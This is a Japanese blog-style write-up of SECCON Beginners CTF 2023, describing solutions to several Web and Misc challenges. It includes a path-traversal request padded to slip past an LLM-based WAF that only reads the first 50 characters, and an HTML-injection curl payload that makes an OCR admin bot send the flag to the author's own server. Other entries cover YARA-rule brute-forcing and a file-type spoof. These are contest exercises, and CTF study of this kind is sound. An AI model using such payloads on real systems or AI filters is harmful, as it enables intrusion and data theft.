SECCON Beginners 2023 Writeup

# はじめに
<!-- 発端や概要を記載 -->
[SECCON Beginners CTF 2023](https://score.beginners.seccon.jp/)に参加しました。
取り組んだ問題についての備忘録的な感じで書いていきますので、自力では解けなかった問題も含まれています。
解法については作問者様がそれぞれWriteupを公開しているため、そちらも参考にしてください。
そのほかの問題についても復習次第追加するかもしれません。

# 目次
<!-- タイトルとアンカー名を編集 -->
1. [Web](#Web)
1. [Misc](#Misc)
1. [参考文献](#reference)

<!-- 各チャプター -->
# Web
## Forbidden (beginner)
### 問題概要
問題サーバにアクセスすると以下のようなページが表示される。
リンク先にアクセスしても`Forbidden :(`と表示されるだけで何も起こらない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/a3b81ce5-3164-63c3-6b11-5eed387680f7.png)

URLを見ると`https://forbidden.beginners.seccon.games/flag`となっている。

### 解法
URLを`https://forbidden.beginners.seccon.games/FLAG`のように変えてやるとフラグが表示される。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/61432ba4-e7c5-3d94-60f4-868bf534924c.png)

ctf4b{403_forbidden_403_forbidden_403}

## aiwaf (easy)
### 問題概要
URLにアクセスすると亞空文庫というサイトにつながる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/88a41b1a-dcd0-8497-02a4-a0d33c344d29.png)

`https://aiwaf.beginners.seccon.games/?file=book0.txt`のような形でリクエストしているため、ディレクトリトラバーサルができそうだが、`../flag`のような文字列を入力すると検知されてうまくいかない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/7f19198f-2970-6c0c-eac3-e38821302cbe.png)



### 解法
自力では解けず。
Writeupを見たところ、AIWAFに渡されるプロンプトは50文字までなので、50字以降にパストラバーサルのクエリを置けばいい様子
```
https://aiwaf.beginners.seccon.games/?thisisdummythisisdummythisisdummythisisdummythisisdummythisisdummythisisdummy&file=../flag
```

大会後に試してみたところ、フラグを表示させることができた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/0b1c8669-39b6-f504-134a-d4b66aac23e1.png)

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}


## phisher2 (medium)
### 問題概要
入力したURLをOCRを利用した疑似的な管理者に送信し、任意のサーバにアクセスさせることでフラグを取得します。
ただしアクセスさせたいURLをそのまま入力しても、`https://phisher2.beginners.seccon.games/`から始まっていない場合はチェックではじかれてしまうので、工夫が必要です。

### 解法
#### 1. URLを用意する
app.pyを見ると、POSTでtextに格納した文字列をそのままHTMLとして書き込んでいます。
そのため、HTMLタグが使用可能です。
※一部編集しています
```
<span  style=\"display:none\">http://XXX.XXX.XXX.XXX/</span><p style=\"font-size:60px\">https://phisher2.beginners.seccon.games/</p>
```
display:noneを指定することで、OCRツールで読み取るページには`https://phisher2.beginners.seccon.games`のみ表示されます。

#### 2. XXX.XXX.XXX.XXXのWebサーバを準備する
今回はAWSを利用して一時的にWebサーバを立ち上げました。

#### 3. POSTでcurlする
1．で作成したURLをtextに含め、Curlします
```
curl -X POST -H "Content-Type: application/json" -d '{"text":"<span  style=\"display:none\">http://54.199.46.123/</span><p style=\"font-size:60px\">https://phisher2.beginners.seccon.games/</p>"}' https://phisher2.beginners.seccon.games
```

#### 4. フラグを確認する
準備したWebサーバのアクセスログを確認すると、リクエストURLにフラグが含まれています。


![pasted image 0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/ffdbc795-6e2a-1321-d53b-134017435afe.png)

ctf4b{w451t4c4t154w?}

# Misc
## YARO (beginner)
### 問題概要
YARAルールを入力し、flagファイルに記載されているフラグを読み取る問題。

### 解法
自力では解けず。
YARAルールにマッチさせることはできたが、表示されるのはルール名のみで肝心のルールが取得できなかった。
何とかフラグが28字であるところまでは判明したがそれ以上は進まず。

下記は作問者Writeupを参考にしています。
#### 1. フラグの文字数特定
ルールは複数入力できるため、1~99文字にマッチするルールをそれぞれ作成し、問題サーバに送信。
```
rule format {
    strings:
        $fmt = /ctf4b{.*}/
    condition:
        any of them
}
rule length_0 {
    strings:
        $0 = /ctf4b{}/
    condition:
        any of them
}
rule length_1 {
    strings:
        $1 = /ctf4b{.}/
    condition:
        any of them
}

---省略---

rule length_99 {
    strings:
        $99 = /ctf4b{...................................................................................................}/
    condition:
        any of them
}
```
28文字のルールに検知されたので、文字数は28文字だとわかる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/0b7332ae-9ad4-f011-2ce0-fccc8073b675.png)

#### 2. `\x20-\x7e`の範囲でマッチする文字列を探す

1文字を探し当てるために英大文字26個＋小文字26個＋数字10個＋_1個の合計63個のルールを作成。
文字列全体を探し当てるのに、63 * 28 = 1764のルールを使って探し当てる。
作問者Writeupにあった関数を使って作成したルールを送信した結果は以下の通り

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/df06fdb7-7b55-9467-23f1-89ade94d908c.png)

ctf4b{Y3t_An0th3r_R34d_0pp0rtun1ty}

2023/6/6 追記
私が当初やりたかったことはまさに[この方の解き方](https://zenn.dev/dimeiza/articles/seccon_beginner_ctf_2023_writeup_yara)です。
が、技術力がなさ過ぎて無理でした。。

## polyglot4b (beginner)
### 問題概要
問題サーバに接続後画像ファイルを送信し、同時にJPEG, PNG, GIF, TXTのファイルであると認識させる問題。
アップロードしたファイルはfileコマンドでチェックされる。

### 解法
チームメイトにヘルプを頼んで何とか解答。
fileコマンドで判定するという部分から、当初はMagic Numberを変更して解く問題だと思い込み。
Magic Numberの沼にはまることに、、、（複数のMagic Numberを一つのファイルに入れて認識させようとしてた）

どうにもしようがなくなり、メンバーに応援要請したところ、JPEGファイルのexifにPNGGIFASCIIの文字列を入れればいいのではと。その手があったか。

確かに再度問題のプログラムを見ると`file -bkr`の結果を文字列マッチングさせているだけのよう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/9eb3bf62-bc27-99bd-875c-5e7781631b30.png)

適当に準備したJPEGファイルのImage DescriptionにexiftoolでPNGGIFASCIIを書き込み、送信することでフラグを取得できた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/59325364-45be-12cc-f606-2b212e90fcf4.png)

```
#python3.9
import socket 
import time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('polyglot4b.beginners.seccon.games',  31416))
data = s.recv(40000)
print(data.decode())

# GIFPNGASCIIのexifつきのjpgファイルを送信
jpg = b""
with open("D:\\CTF\\SecconCTF beginners 2023\\misc\\polyglot4b.tar\\polyglot4b\\test.jpg", "rb") as f:
    jpg = f.read()

s.send(jpg)

s.send(b'QUIT\n')

time.sleep(1)
data = s.recv(40000)
print(data.decode())
```
※[作問者Writeup](https://github.com/satoki/ctf4b_2023_satoki_writeups/tree/main/misc/polyglot4b)を見ると、下記でもデータを送れるっぽい。こちらのほうが簡潔ではある。
```
cat sushi.jpg | nc polyglot4b.beginners.seccon.games 31416
```

ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}

## shaXXX  (easy)
### 問題概要
問題サーバにアクセスすると、イニシャライザの処理でflag.pyに記載されているフラグからsha256, sha384, sha512のハッシュ値を生成し、それぞれ作成したファイルに格納します。


### 解法
こちらも自力では解けず。
作問者Writeupを確認すると、pythonを実行したときに作成される__pycache__を見ることでフラグを得られるようです。
__pycache__内にコンパイルされたモジュールが含まれています。
ファイル名のフォーマットは下記のようになっています。
`example.cpython-[version].pyc`

今回、pythonのバージョンは問題サーバに接続した際に`print(sys.version)`により3.11.3と判明しているため、
`flag.cpython-311.pyc`を見ればよいことがわかります。

実際に見てみるとフラグが出力されていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/0b1a6f16-fed6-bb01-5eb6-5bebb4fd7ae7.png)

ctf4b{c4ch3_15_0ur_fr13nd!}

# 参考文献
- [SECCON Beginners CTF (ctf4b) 作問者writeup](https://qiita.com/xryuseix/items/1c03bcb43eee608dcb59#web-phisher2-118solved-94pt)
- [ctf4b_2023_satoki_writeups](https://github.com/satoki/ctf4b_2023_satoki_writeups)
- [SECCON Beginners CTF 2023 作問者Writeup](https://feneshi.co/ctf4b2023writeup/#YARO)